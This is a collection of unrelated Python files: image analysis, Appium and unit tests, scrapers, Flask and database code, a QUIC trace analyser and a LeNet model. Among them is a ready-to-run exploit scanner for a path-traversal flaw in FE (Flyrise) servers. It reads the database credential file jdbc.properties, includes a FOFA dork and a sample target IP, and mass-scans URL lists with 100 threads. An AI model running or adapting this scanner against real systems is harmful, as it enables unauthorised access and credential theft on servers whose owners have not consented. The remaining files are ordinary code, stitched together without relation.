import cv2
import numpy as np
def badimg_detect(filename):
    badimg = cv2.imread(filename)
    badimg = cv2.cvtColor(badimg, cv2.COLOR_BGR2GRAY)
    imgcenter = np.array(badimg[32:64,32:64])
    ret,thresh1 = cv2.threshold(imgcenter,180,255,cv2.THRESH_BINARY)
    white = np.where(thresh1[:]>250)
    whitenum = (white[0].shape)[0]
    whiteratio = whitenum/(32*32)
    return whiteratio

def test(a,b):
    ans = a+b
    return ans

if __name__ == '__main__':
    whiteratio = badimg_detect('/Users/chiehfang/Desktop/Cancer_Detection/histopathologic-cancer-detection-datasets-training/base_dir_v1/train_dir/b_has_tumor_tissue/0a0fb1cec3a2bd74bfb2f324b193f5c64652e503.tif')
    print(whiteratio)


"""
Let's start automation for android app
asume you already have:
1. Appium server up and running in port 4723
2. Have installed Google Meet app in your android

"""

from appium import webdriver

caps = {
    'platformName': 'Android',
    'deviceName': 'Android',
    'appPackage': 'com.google.android.apps.meetings',
    'appActivity': '.splash.SplashActivity',
    'noReset': True
}

def test_direct_usage():
    driver = webdriver.Remote("http://localhost:4723/wd/hub", caps)
    driver.implicitly_wait(5)
    driver.find_element_by_id('enter_meeting_code_button').click()
    driver.quit()


import os
import argparse
from gensim.corpora import WikiCorpus
import tqdm

def tokenize(content, token_min_len=1, token_max_len=15, lower=True):
    res = []
    for token in content.split():
        if token_min_len <= len(token) <= token_max_len:
            if (
                token.startswith("_")
                or token.startswith("'''")
                or token.startswith("**")
                or token.startswith("==")
            ):
                continue
            res.append(lower(token))
    return res

def convert_wiki_dump_to_txt(input_file, output_file):
    """Converts Wikipedia xml dump file to text corpus."""

    with open(output_file, "w") as out_f:
        wiki = WikiCorpus(input_file, tokenizer_func=tokenize)

        for text in tqdm.tqdm(wiki.get_texts()):
            out_f.write(bytes(" ".join(text), "utf-8").decode("utf-8") + "\n")

    print("Conversion completed!")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="choose language for conversion.")
    parser.add_argument("lan", choices=["da", "se", "no"])
    lan = parser.parse_args().lan

    input_file = os.path.join(
        "data", f"{lan}wiki-20200720-pages-articles-multistream.xml.bz2"
    )
    output_file = os.path.join("data", f"{lan}_output.txt")
    convert_wiki_dump_to_txt(input_file, output_file)


from collections import defaultdict
import unittest

class Graph:
    def fleury(self, start_vertex):
        visited_edges = defaultdict(list)
        eulerian_path = []
        current_vertex = start_vertex
        while graph[current_vertex]:
            for neighbor in graph[current_vertex]:
                if len(graph[current_vertex]) != 0 or len(graph[neighbor]) != 0:
                    edge = (current_vertex, neighbor)
                    graph[current_vertex].remove(neighbor)
                    graph[neighbor].remove(current_vertex)
                    visited_edges[current_vertex].append(neighbor)
                    visited_edges[neighbor].append(current_vertex)
                    eulerian_path.append(edge)
                    current_vertex = neighbor
                    break
        return eulerian_path

class TestGraph(unittest.TestCase):
    def setUp(self):
        self.sort = Graph()

    def test_fleury(self):
        self.assertEqual(self.sort.fleury(start_vertex), [('F', 'A'), ('A', 'B'), ('B', 'C'), ('C', 'A'),
                                                          ('A', 'E'), ('E', 'B'), ('B', 'D'), ('D', 'C'),
                                                          ('C', 'E'), ('E', 'D'), ('D', 'F')])

graph = {
    'A': ['B', 'C', 'E', 'F'],
    'B': ['A', 'C', 'D', 'E'],
    'C': ['A', 'B', 'D', 'E'],
    'D': ['B', 'C', 'E', 'F'],
    'E': ['A', 'B', 'C', 'D'],
    'F': ['A', 'D']
}

start_vertex = 'F'


import os
import pytest
from collections import OrderedDict
import argutils
import argutils.read

def test_read_from_json(json_file, argsdict):
    """Should be able to produce an OrderedDict from a JSON file."""
    with open(json_file) as infile:
        result = argutils.read.from_json(infile.read())
        assert isinstance(result, OrderedDict)
        assert result == argsdict

def test_read_from_yaml(yaml_file, argsdict):
    """Should be able to produce an OrderedDict from a YAML file."""
    with open(yaml_file) as infile:
        result = argutils.read.from_yaml(infile.read())
        assert isinstance(result, OrderedDict)
        assert result == argsdict

def test_blank_comment():
    blank = ""
    assert argutils.format_comment(blank) == ""
    assert argutils.format_comment(None) == ""


# -*- coding:utf-8 -*-
import argparse, sys, base64, requests
import re
from multiprocessing.dummy import Pool

requests.packages.urllib3.disable_warnings()

# fofa：body="flyrise.stopBackspace.js"
# 案例：http://119.188.182.109:8899

def banner():
    content = '''

███████╗███████╗██████╗ ███████╗██████╗  ██████╗  ██████╗
██╔════╝██╔════╝██╔══██╗██╔════╝██╔══██╗██╔═══██╗██╔════╝
█████╗  █████╗  ██████╔╝█████╗  ██████╔╝██║   ██║██║
██╔══╝  ██╔══╝  ██╔══██╗██╔══╝  ██╔═══╝ ██║   ██║██║
██║     ███████╗██║  ██║██║     ██║     ╚██████╔╝╚██████╗
╚═╝     ╚══════╝╚═╝  ╚═╝╚═╝     ╚═╝      ╚═════╝  ╚═════╝

    '''
    print(content)

def poc(target):
    url = target + '/servlet/ShowImageServlet?imagePath=../web/fe.war/WEB-INF/classes/jdbc.properties&print'
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0',
        'Cookie': "JSESSIONID=E3124D1BAE48FBD3B8048E60341A9418",
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    try:
        res = requests.post(url, headers=headers, verify=False, timeout=5).text
        if 'ip' in res:
            print(f'[+]{target}存在文件读取漏洞')
            print(res)
            with open('result.txt', 'a+', encoding='utf-8') as f:
                f.write(target + '\n')
        else:
            print(f'[-]{target}不存在文件读取漏洞')
    except:
        print(f'[-]{target}无法进入')

def main():
    banner()
    parser = argparse.ArgumentParser(description='FE参数文件读取漏洞')
    parser.add_argument('-u', '--url', dest='url', type=str, help='example:http://example.com')
    parser.add_argument('-f', '--file', dest='file', type=str, help='url.txt')

    args = parser.parse_args()
    if args.url and not args.file:
        poc(args.url)
    elif args.file and not args.url:
        url_list = []
        with open(args.file, 'r', encoding='utf-8') as f:
            for url in f.readlines():
                url_list.append(url.strip().replace('\n', ''))
            mp = Pool(100)
            mp.map(poc, url_list)
            mp.close()
            mp.join()
    else:
        print(f'Usage:\n\tpython3 {sys.argv[0]} -h')

if __name__ == '__main__':
    main()


import csv

from utils import conn_api, add_profile, get_statuses_between_dates

start_at = '16082018'
end_at = '29102018'

targets = [
    'jairbolsonaro', 'Haddad_Fernando', 'alvarodias_', 'CaboDaciolo', 'cirogomes',
    'Eymaeloficial', 'geraldoalckmin', 'GuilhermeBoulos', 'meirelles', 'joaoamoedonovo',
    'joaogoulart54', 'MarinaSilva', 'verapstu', 'LulaOficial'
]

consumer_key = ''
consumer_secret = ''
access_token_key = ''
access_token_secret = ''

api = conn_api(consumer_key, consumer_secret,
                    access_token_key, access_token_secret)

for target in targets:
    csv_file = open(f'../data/{target.lower()}.csv', 'w+',
                    newline='', encoding='utf-8')

    csv_writer = csv.writer(csv_file, delimiter=';', quotechar='"')

    csv_writer.writerow(['id', 'name', 'screen_name', 'location', 'url', 'description', 'protected', 'verified',
                         'followers_count', 'friends_count', 'favourites_count', 'statuses_count', 'created_at',
                         'profile_image_url'])

    add_profile(api, target, csv_writer)

    csv_file.close()

    csv_file = open(
        f'../data/tweets/{target.lower()}_election_tweets.csv', 'w+',
        newline='', encoding='utf-8'
    )

    writer = csv.writer(csv_file, delimiter=';', quotechar='"')
    writer.writerow(['id', 'created_at', 'text',
                     'retweet_count', 'favorite_count'])

    get_statuses_between_dates(api, target, start_at, end_at, writer)

    csv_file.close()


import os
import numpy as np
import matplotlib.pyplot as plt

f = open ('/home/agustinsilva447/Descargas/numeros_data_golden.txt','r')
text = f.read()
f.close()

text = os.linesep.join([s for s in text.splitlines() if s])
text = np.array([int(s) for s in text.splitlines()])

plt.hist(text, bins=np.power(2,12))
plt.show()


# -*- coding: utf-8 -*-
"""
Created on Sat Jul  8 16:28:21 2017

@author: admin
"""

import numpy as np
import urllib.request
import re

from bs4 import BeautifulSoup

#interface
class Scrapper:
    def get_text(self):
        pass

class DeonScrapper(Scrapper):
    def __init__(self, url, filepath):
        self.url = url
        self.filepath = filepath

    def get_text(self, verbose=False):
        r = urllib.request.urlopen(self.url)
        parser = BeautifulSoup(r.read().decode('iso-8859-2'), 'html.parser')
        books_tags = parser.find_all('a', class_='ks')
        books_urls = [self.url+str(book['href']) for book in books_tags]
        books = [BookScrapper(url) for url in books_urls]

        file = open(self.filepath, 'w', encoding='utf8')
        books_texts = []
        for book in books:
            books_texts.append(book.get_text(verbose))
            file.write(books_texts[-1])

        return ' '.join(books_texts)

class BookScrapper(Scrapper):
    def __init__(self, book_url):
        self.url = book_url

    def get_text(self, verbose=False):
        r = urllib.request.urlopen(self.url)
        page_txt = r.read().decode('iso-8859-2')
        url_begin = re.match(r'.+\?', self.url).group(0)+r'id='
        url_begin = re.sub('ksiega', 'rozdzial', url_begin)
        parser = BeautifulSoup(page_txt, 'html.parser')
        select_chapter = parser.find('select', {'name':'rozdzial'})
        chapters_url = [url_begin+str(child['value']) for child in select_chapter.children]
        pages = [PageScrapper(url) for url in chapters_url]
        return ' '.join([page.get_text(verbose) for page in pages])

class PageScrapper(Scrapper):
    def __init__(self, page_url):
        self.url = page_url

    def get_text(self, verbose=False):
        r = urllib.request.urlopen(self.url)
        page_txt = r.read().decode('iso-8859-2')
        page_txt = re.sub(r'<br>', '', page_txt)
        page_txt = re.sub(r'<br.*/>', '', page_txt)
        parser = BeautifulSoup(page_txt, 'html.parser')
        if(verbose):
            print(self.url)

        div_content = parser.find_all('div', class_='tresc')[0]
        [x.extract() for x in div_content.find_all('a')]
        [x.extract() for x in div_content.find_all(['span', 'sup'])]
        [x.extract() for x in div_content.find_all('div', class_='initial-letter')]
        [x.extract() for x in div_content.find_all('div', class_=[re.compile(r'tytul.+'),
                                                                  re.compile(r'miedzytytul.+')])]
        temp_text = div_content.get_text().strip()
        temp_text = re.sub(r'[\n]', '', temp_text)
        temp_text = re.sub(r'[\s]{2,}', ' ', temp_text)
        filter_1 = lambda x: not(x in ['»', '«', '[', ']'])
        temp_text = ''.join(list(filter(filter_1, temp_text)))
        return temp_text

def main():
    deon_scrapper = DeonScrapper("http://www.biblia.deon.pl/", r"bible.txt")
    deon_scrapper.get_text(True)

if __name__ == "__main__":
    main()


from flask import current_app, g
from sqlalchemy import create_engine
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy.orm import sessionmaker

EXTENSIONS_KEY_FOR_DATABASE = 'db'
APP_CONTEXT_KEY_FOR_SESSION = '_session'

class Database:
    """Initialize database engine and session factory."""
    def __init__(self, config, base=None):
        """
        Initialize database engine and session factory.
        """
        database_url = config['SQLALCHEMY_DATABASE_URI']
        pool_recycle = config['SQLALCHEMY_POOL_RECYCLE']
        self._engine = create_engine(url=database_url, pool_recycle=pool_recycle)
        self._session = sessionmaker(bind=self._engine)
        self._base = base if base else declarative_base()

    def _create_tables(self):
        """
        Create DB tables if they don't exist.
        """
        self._base.metadata.create_all(self._engine)

    def attach_to_flask_app(self, flask_app, create_db_from_schema=False):
        """
        Attach this Database instance to a Flask app.

        :param flask_app: The running flask app.
        :param create_db_from_schema: If True, create db and tables from predefined schemas.
        """
        # Init DB schema
        if create_db_from_schema:
            self._create_tables()

        # Attach this DB instance to the flask app.
        flask_app.extensions[EXTENSIONS_KEY_FOR_DATABASE] = self

        if create_db_from_schema:
            # Make sure we close the connection if we opened one for creating tables.
            self._engine.dispose()

        @flask_app.teardown_appcontext
        def close_session(error=None):
            """
            Handler for cleaning up DB sessions.
            """
            session = getattr(g, APP_CONTEXT_KEY_FOR_SESSION, None)
            if session is not None:
                session.close()

def get_session():
    """
    Get a database session.

    Should only be called with an active application context (i.e. during a request).
    """
    logger = current_app.logger

    logger.debug("Fetching new SqlAlchemy DB session")
    session = getattr(g, APP_CONTEXT_KEY_FOR_SESSION, None)
    if session is None:
        db_state = current_app.extensions[EXTENSIONS_KEY_FOR_DATABASE]
        # pylint: disable=protected-access
        session = db_state._session()
        setattr(g, APP_CONTEXT_KEY_FOR_SESSION, session)
    return session


import logging
from enum import Enum
from typing import List, Optional

import pyshark

IP4_SERVER = "127.0.0.1"
IP6_SERVER = "fd00:cafe:cafe:100::100"
PORT_SERVER = 4433

class Direction(Enum):
    ALL = 0
    FROM_CLIENT = 1
    FROM_SERVER = 2
    INVALID = 3

class PacketType(Enum):
    INITIAL = 1
    HANDSHAKE = 2
    ZERORTT = 3
    RETRY = 4
    ONERTT = 5
    VERSIONNEGOTIATION = 6
    INVALID = 7

WIRESHARK_PACKET_TYPES = {
    PacketType.INITIAL: "0",
    PacketType.ZERORTT: "1",
    PacketType.HANDSHAKE: "2",
    PacketType.RETRY: "3",
}

def get_packet_type(p) -> PacketType:
    if p.quic.header_form == "0":
        return PacketType.ONERTT
    if p.quic.version == "0x00000000":
        return PacketType.VERSIONNEGOTIATION
    for t, num in WIRESHARK_PACKET_TYPES.items():
        if p.quic.long_packet_type == num:
            return t
    return PacketType.INVALID

class TraceAnalyzer:
    _filename = ""

    def __init__(
        self,
        filename: str,
        keylog_file: Optional[str] = None,
        ip4_server: str=None,
        ip6_server: str = None,
        port_server: int = None,
    ):
        self._filename = filename
        self._keylog_file = keylog_file
        self._ip4_server = ip4_server or IP4_SERVER
        self._ip6_server = ip6_server or IP6_SERVER
        self._port_server = port_server or PORT_SERVER

    def _get_direction_filter(self, d: Direction) -> str:
        f = "(quic && !icmp) && "
        if d == Direction.FROM_CLIENT:
            return (
                f + "((ip.dst==" + self._ip4_server + " || ipv6.dst==" + self._ip6_server + ") && udp.dstport==" + str(self._port_server) + ") && "
            )
        elif d == Direction.FROM_SERVER:
            return (
                f + "((ip.src==" + self._ip4_server + " || ipv6.src==" + self._ip6_server + ") && udp.srcport==" + str(self._port_server) + ") && "
            )
        else:
            return f

    def _get_packets(self, f: str) -> List:
        override_prefs = {}
        if self._keylog_file is not None:
            override_prefs["ssl.keylog_file"] = self._keylog_file
        cap = pyshark.FileCapture(
            self._filename,
            display_filter=f,
            override_prefs=override_prefs,
            disable_protocol="http3",  # see https://github.com/marten-seemann/quic-interop-runner/pull/179/
            decode_as={"udp.port==443": "quic"},
        )
        packets = []
        # If the pcap has been cut short in the middle of the packet, pyshark will crash.
        # See https://github.com/KimiNewt/pyshark/issues/390.
        try:
            for p in cap:
                packets.append(p)
            cap.close()
        except Exception as e:
            logging.debug(e)

        if self._keylog_file is not None:
            for p in packets:
                if hasattr(p["quic"], "decryption_failed"):
                    logging.info("At least one QUIC packet could not be decrypted")
                    logging.debug(p)
                    break
        return packets

    def get_raw_packets(self, direction: Direction = Direction.ALL) -> List:
        packets = []
        for packet in self._get_packets(self._get_direction_filter(direction) + "quic"):
            packets.append(packet)
        return packets

    def get_1rtt(self, direction: Direction = Direction.ALL) -> List:
        """ Get all QUIC packets, one or both directions. """
        packets = []
        for packet in self._get_packets(
            self._get_direction_filter(direction) + "quic.header_form==0"
        ):
            for layer in packet.layers:
                if layer.layer_name == "quic" and not hasattr(
                    layer, "long_packet_type"
                ):
                    packets.append(layer)
        return packets

    def get_vnp(self, direction: Direction = Direction.ALL) -> List:
        packets = []
        for packet in self._get_packets(
            self._get_direction_filter(direction) + "quic.version==0"
        ):
            for layer in packet.layers:
                if (
                    layer.layer_name == "quic"
                ):
                    packets.append(layer)

        return packets

    def _get_long_header_packets(
        self, packet_type: PacketType, direction: Direction
    ) -> List:
        packets = []
        for packet in self._get_packets(
            self._get_direction_filter(direction) + "quic.long.packet_type"
        ):
            for layer in packet.layers:
                if (
                    layer.layer_name == "quic"
                    and hasattr(layer, "long_packet_type")
                    and layer.long_packet_type == WIRESHARK_PACKET_TYPES[packet_type]
                ):
                    packets.append(layer)
        return packets

    def get_initial(self, direction: Direction = Direction.ALL) -> List:
        """ Get all Initial packets. """
        return self._get_long_header_packets(PacketType.INITIAL, direction)

    def get_retry(self, direction: Direction = Direction.ALL) -> List:
        """ Get all Retry packets. """
        return self._get_long_header_packets(PacketType.RETRY, direction)

    def get_handshake(self, direction: Direction = Direction.ALL) -> List:
        """ Get all Handshake packets. """
        return self._get_long_header_packets(PacketType.HANDSHAKE, direction)

    def get_0rtt(self) -> List:
        """ Get all 0-RTT packets. """
        return self._get_long_header_packets(PacketType.ZERORTT, Direction.FROM_CLIENT)


import torch
import torch.nn as nn

#LeNet Architecture
#[1x32x32 input] -> [5x5 conv with s=1, p=0] -> [avg pool with s=2, p=0] -> [5x5 conv with s=1, p=0] ->
# [avg pool with s=2, p=0] -> [5x5 conv with output=120] -> [fully connected layer 84] -> [fully connected layer 10]

class LeNet(nn.Module):
    def __init__(self):
        super(LeNet, self).__init__()
        self.relu = nn.ReLU()
        self.conv1 = nn.Conv2d(in_channels=1, out_channels=6, kernel_size=(5,5), stride=(1,1), padding=(0,0))
        self.pool = nn.AvgPool2d(kernel_size=(2,2), stride=(2,2))
        self.conv2 = nn.Conv2d(in_channels=6, out_channels=16, kernel_size=(5,5), stride=(1,1), padding=(0,0))
        self.conv3 = nn.Conv2d(in_channels=16, out_channels=120, kernel_size=(5, 5), stride=(1, 1), padding=(0, 0))
        self.fc1 = nn.Linear(120,84)
        self.output = nn.Linear(84,10)

    def forward(self,x):
        x = self.conv1(x)
        x = self.relu(x)
        x = self.pool(x)
        x = self.conv2(x)
        x = self.relu(x)
        x = self.pool(x)
        x = self.conv3(x)
        x = self.relu(x)
        # output of conv3 layer is num_examples x 120 x 1 x 1 but to proceed it to Linear layer we need to convert
        # the shape num_examples x 120
        x = x.reshape(x.shape[0], -1)  # the -1 will concatenate 120x1x1
        x = self.fc1(x)
        x = self.relu(x)
        x = self.output(x)
        return x
x = torch.randn(64, 1, 32, 32) # 64 images, channel=1, weight=32, height=32
model = LeNet()
print(model(x))
print(model(x).shape)


import json
import pytz
import boto3

from datetime import datetime, timedelta
from settings import AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_REGION

def load_city_data():
    with open('./data/city_list.json') as f:
        city_list = json.load(f)
    return {city['Key']: city for city in city_list}

def load_city_name2id_lookup():
    with open('./data/city_list.json') as f:
        city_list = json.load(f)
    return {city['EnglishName']: city['Key'] for city in city_list}

CITY_ID_LOOKUP = load_city_data()
CITY_NAME2ID_LOOKUP = load_city_name2id_lookup()

def epoch2datestr(epoch, timezone_str):
    tz = pytz.timezone(timezone_str)
    return str(datetime.fromtimestamp(epoch, tz))

def get_midnight_epoch(day_delta, timezone_str, ref_dt=None):
    """
    Returns midnight time of a day in epoch second in name-specified timezone.
    day_delta is an integer from 0 to 6. 0 means today, 1 means yesterday, etc.
    """
    if not ref_dt:
        ref_dt = datetime.now()
    dt_ago = ref_dt - timedelta(days=day_delta)
    tz = pytz.timezone(timezone_str)
    dt_ago_local = tz.localize(dt_ago)
    dt_ago_local_midnight = dt_ago_local.replace(
        hour=0, minute=0, second=0, microsecond=0
    )
    return int(dt_ago_local_midnight.timestamp()), str(dt_ago_local_midnight)

def create_db_session():
    session = boto3.session.Session(
        aws_access_key_id=AWS_ACCESS_KEY_ID,
        aws_secret_access_key=AWS_SECRET_ACCESS_KEY,
        region_name=AWS_REGION
    )
    db = session.resource('dynamodb')
    weather_table = db.Table('dragonbot_weather_v1')
    return db, weather_table


import traceback
from traceback import format_exception_only, format_exc

# pypi
import flask
from flask import request, url_for, current_app, jsonify
from flask_login import login_required
from flask.views import MethodView
from loutilities.tables import rest_url_for
from loutilities.csvu import DictReaderStr2Num
from loutilities.filters import filtercontainerdiv, filterdiv
from loutilities.tables import get_request_data

# home grown
from . import bp
from ...accesscontrol import UpdateClubDataPermission, ViewClubDataPermission
from ...model import ClubAffiliation, insert_or_update
from ...model import db   # this is ok because this module only runs under flask
from ...model import Race, Series, Divisions, Club
from ...model import getclubid, getyear
from ...model import SERIES_OPTIONS, SERIES_OPTION_SEPARATOR, SERIES_TIE_OPTIONS, SERIES_TIE_OPTION_SEPARATOR
from ...apicommon import failure_response, success_response, check_header
from ...crudapi import CrudApi
from ...resultsutils import race_fixeddist

from ...forms import RaceForm, SeriesForm, RaceSettingsForm, DivisionForm
#from runningclub import racefile   # required for xlsx support

# acceptable surfaces -- must match model.SurfaceType
from ...model import SURFACES, CLUBAFFILIATION_ALTERNATES_SEPARATOR

# admin guide
from ...version import __docversion__
adminguide = f'https://docs.scoretility.com/en/{__docversion__}/scoring-admin-guide.html'

###########################################################################################
# manageraces endpoint
###########################################################################################

filters = filtercontainerdiv()
filters += filterdiv('external-filter-series', 'Series')

dt_options = {
    'order': [[2, 'asc']],
}
yadcf_options = [
    {
        'column_selector': 'series.name:name',
        'select_type': 'select2',
        'select_type_options': {
            'width': '200px',
            'allowClear': True,  # show 'x' (remove) next to selection inside the select itself
            'placeholder': {
                'id': -1,
                'text': 'Select series',
            },
        },
        'filter_type': 'multi_select',
        'filter_container_id': 'external-filter-series',
        'column_data_type': 'text',
        'text_data_delimiter': ', ',
        'filter_reset_button_text': False,  # hide yadcf reset button
    },
]

def races_results_to_form(race):
    # there are some results
    if len(race.results) > 0:
        return '''

              <button class='_rrwebapp-importResultsButton _rrwebapp-needswidget' _rrwebapp-raceid='{raceid}'
                _rrwebapp-formaction='{importresults}' _rrwebapp-importdoc='{doc_importresults}' _rrwebapp-formid='_rrwebapp-form-results-{raceid}'
                _rrwebapp-editaction='{editparticipants}'
                _rrwebapp-seriesresultsaction='{seriesresults}'
                _rrwebapp-imported='true'>
              </button>

        '''.format(raceid=race.id,
                   importresults=url_for("._importresults",raceid=race.id),
                   doc_importresults=f'https://docs.scoretility.com/en/{__docversion__}/scoring-file-formats.html#results-file-format',
                   editparticipants=url_for(".editparticipants",raceid=race.id),
                   seriesresults=url_for("frontend.seriesresults",raceid=race.id)
                   )
    else:
        return '''

              <button class='_rrwebapp-importResultsButton _rrwebapp-needswidget' _rrwebapp-raceid='{raceid}'
                      _rrwebapp-formaction='{importresults}' _rrwebapp-importdoc='{doc_importresults}' _rrwebapp-formid='_rrwebapp-form-results-{raceid}'
                      _rrwebapp-editaction='{editparticipants}'
                      >
              </button>

        '''.format(raceid=race.id,
                   importresults=url_for("._importresults",raceid=race.id),
                   doc_importresults=f'https://docs.scoretility.com/en/{__docversion__}/scoring-file-formats.html#results-file-format',
                   editparticipants=url_for(".editparticipants",raceid=race.id),
                   )

races_dbattrs = 'id,club_id,year,results,name,date,distance,surface,series'.split(',')
races_formfields = 'rowid,club_id,year,results,name,date,distance,surface,series'.split(',')
races_dbmapping = dict(list(zip(races_dbattrs, races_formfields)))
races_formmapping = dict(list(zip(races_formfields, races_dbattrs)))

# transform race results for fancy buttons
races_formmapping['results'] = races_results_to_form

# force default of club id and year for new or updated records
races_dbmapping['club_id'] = getclubid
races_dbmapping['year'] = getyear

races_view = CrudApi(
    app=bp,
    pagename='Races',
    template='manageraces.html',
    templateargs={'adminguide': adminguide, 'docversion': __docversion__},
    endpoint='.manageraces',
    rule='/manageraces',
    dbmapping=races_dbmapping,
    formmapping=races_formmapping,
    permission=lambda: UpdateClubDataPermission(flask.session['club_id']).can,
    dbtable=Race,
    queryparams={'external': False, 'active': True},
    checkrequired=True,
    clientcolumns=[
        {'data': 'results', 'name': 'results', 'label': 'Results', 'type': 'readonly',
         'class': 'column-center',
         'ed': {'type': 'hidden', 'submit': False}  # don't display or allow update in edit form
         },
        {'data': 'name', 'name': 'name', 'label': 'Race Name', '_unique': True,
         'className': 'field_req',
         },
        {'data': 'date',
         'name': 'date', 'label': 'Date', 'type': 'datetime',
         'className': 'field_req',
         'class': 'column-center',
         'ed': {'label': 'Date (yyyy-mm-dd)', 'format': 'YYYY-MM-DD',
                # first day of week for date picker is Sunday, strict date format required
                'opts': {'momentStrict': True, 'firstDay': 0}},
         },
        {'data': 'distance', 'name': 'distance', 'label': 'Miles',
         'className': 'field_req',
         'class': 'column-center',
         },
        {'data': 'surface', 'name': 'surface', 'label': 'Surface', 'type': 'select2',
         'className': 'field_req',
         'class': 'column-center',
         'options': SURFACES,
         },
        {'data': 'series', 'name': 'series', 'label': 'Series', 'type': 'select2',
         '_treatment': {'relationship':
             {
                 'dbfield': 'series',
                 'fieldmodel': Series,
                 'labelfield': 'name',
                 'formfield': 'series',
                 'uselist': True,
                 'queryparams': lambda: {'club_id': flask.session['club_id'], 'year': flask.session['year']}
             }
         }
         },
    ],
    serverside=False,
    byclub=True,
    byyear=True,
    idSrc='rowid',
    buttons=['create', 'edit', 'remove', 'csv',
             {'name': 'tools', 'text': 'Tools'}
             ],
    addltemplateargs={'inhibityear': False},
    pretablehtml=lambda: filters.render(),
    dtoptions=dt_options,
    yadcfoptions=yadcf_options,
    )
races_view.register()

#######################################################################
class AjaxImportRaces(MethodView):
#######################################################################
    decorators = [login_required]

    #----------------------------------------------------------------------
    def post(self):
    #----------------------------------------------------------------------
        def allowed_file(filename):
            # TODO: add xlsx support
            return '.' in filename and filename.split('.')[-1] in ['csv']

        try:
            club_id = flask.session['club_id']
            thisyear = flask.session['year']

            readcheck = ViewClubDataPermission(club_id)
            writecheck = UpdateClubDataPermission(club_id)

            # verify user can write the data, otherwise abort
            if not writecheck.can():
                db.session.rollback()
                flask.abort(403)

            thisfile = request.files['file']

            # get file extention
            thisfileext = thisfile.filename.split('.')[-1]

            # make sure valid file
            if not thisfile:
                db.session.rollback()
                cause = 'Unexpected Error: Missing file'
                current_app.logger.error(cause)
                return failure_response(cause=cause)
            if not allowed_file(thisfile.filename):
                db.session.rollback()
                cause = 'Invalid file type "{}"'.format(thisfileext)
                current_app.logger.warning(cause)
                return failure_response(cause=cause)

            # handle csv file
            if thisfileext == 'csv':
                decoded = thisfile.stream.read().decode('utf-8').splitlines()
                thisfilecsv = DictReaderStr2Num(decoded)

                # verify file has required fields
                requiredfields = 'year,race,date,distance,surface'.split(',')
                if not check_header(requiredfields, thisfilecsv.fieldnames):
                    db.session.rollback()
                    cause = "invalid races file - one or more header fields missing, must have all of '{}'".format("', '".join(requiredfields))
                    current_app.logger.error(cause)
                    return failure_response(cause=cause)

                fileraces = []
                for row in thisfilecsv:
                    # make sure all races are within correct year
                    if int(row['year']) != flask.session['year']:
                        db.session.rollback()
                        cause = 'File year {} does not match session year {}'.format(row['year'],flask.session['year'])
                        current_app.logger.warning(cause)
                        return failure_response(cause=cause)
                    fileraces.append(row)

            # TODO: add xlsx support -- need to save file in tmpfile to pass to racefile.RaceFile()
            #elif thisfileext == 'xlsx':
            #    tmpfile = xxx
            #    thisfile.save(tmpfile)
            #    thisfilexlsx = racefile.RaceFile(tmpfile)
            #    fileraces = thisfilexlsx.getraces()

            # how did this happen?  see allowed_file() for error
            else:
                db.session.rollback()
                cause = 'Unexpected Error: Invalid file extention encountered "{}"'.format(thisfileext)
                current_app.logger.error(cause)
                return failure_response(cause=cause)

            # get all the races currently in the database for the indicated club,year
            allraces = Race.query.filter_by(club_id=club_id,active=True,year=thisyear).all()

            # if some races exist, verify user wants to overwrite
            if allraces and not request.args.get('force')=='true':
                db.session.rollback()
                return failure_response(cause='Overwrite races for this year?',confirm=True)

            # prepare to invalidate any races which are currently there, but not in the file
            inactiveraces = {}
            for thisrace in allraces:
                inactiveraces[thisrace.name,thisrace.year] = thisrace

            # process each name in race list
            for thisrace in fileraces:
                # make sure surface is acceptable
                if thisrace['surface'] not in SURFACES:
                    db.session.rollback()
                    cause = 'Bad surface "{}" encountered for race "{}". Must be one of {}'.format(thisrace['surface'],thisrace['race'],SURFACES)
                    current_app.logger.error(cause)
                    return failure_response(cause=cause)

                # time field is optional
                if 'time' not in thisrace:
                    thisrace['time'] = ''

                # add or update race in database
                race = Race(
                    club_id=club_id,
                    year=thisrace['year'],
                    name=thisrace['race'],
                    date=thisrace['date'],
                    starttime=thisrace['time'],
                    distance=thisrace['distance'],
                    surface=thisrace['surface'],
                    active=True,
                    external=False,
                )
                race.fixeddist = race_fixeddist(race.distance)
                added = insert_or_update(db.session,Race,race,skipcolumns=['id'],club_id=club_id,name=race.name,year=race.year)

                # remove this race from collection of races which should be deleted in database
                if (race.name,race.year) in inactiveraces:
                    inactiveraces.pop((race.name,race.year))

            # any races remaining in 'inactiveraces' should be deactivated # TODO: should these be deleted?  That's pretty dangerous
            for (name,year) in inactiveraces:
                thisrace = Race.query.filter_by(club_id=club_id,name=name,year=year).first() # should be only one returned by filter
                thisrace.active = False

            # commit database updates and close transaction
            db.session.commit()
            return success_response()

        except Exception as e:
            # roll back database updates and close transaction
            db.session.rollback()
            cause = traceback.format_exc()
            current_app.logger.error(traceback.format_exc())
            return failure_response(cause=cause)
#----------------------------------------------------------------------
bp.add_url_rule('/_importraces',view_func=AjaxImportRaces.as_view('_importraces'),methods=['POST'])
#----------------------------------------------------------------------

########################################################################
#class SeriesAPI(MethodView):
########################################################################
#    decorators = [login_required]
#    def post(self, club_id, year):
#        """
#        Handle a POST request at /_series/<club_id>/ or /_series/<club_id>/<year>/
#        Return a list of 2-tuples (<series_id>, <series_name>)
#        """
#        try:
#            if year == -1:
#                allseries = Series.query.filter_by(active=True,club_id=club_id).order_by('name').all()
#            else:
#                allseries = Series.query.filter_by(active=True,club_id=club_id,year=year).order_by('name').all()
#            data = [(s.id, s.name) for s in allseries]
#            response = make_response(json.dumps(data))
#            response.content_type = 'application/json'
#
#            # commit database updates and close transaction
#            db.session.commit()
#            return response
#
#        except:
#            # roll back database updates and close transaction
#            db.session.rollback()
#            raise
##----------------------------------------------------------------------
#series_api_view = SeriesAPI.as_view('series_api')
#bp.add_url_rule('/_series/<int:club_id>/',defaults={'year':-1},view_func=series_api_view,methods=['POST'])
#bp.add_url_rule('/_series/<int:club_id>/','/_series/<int:club_id>/<int:year>/',defaults={'year':-1},view_func=series_api_view,methods=['POST'])
##----------------------------------------------------------------------

###########################################################################################
# manageseries endpoint
###########################################################################################

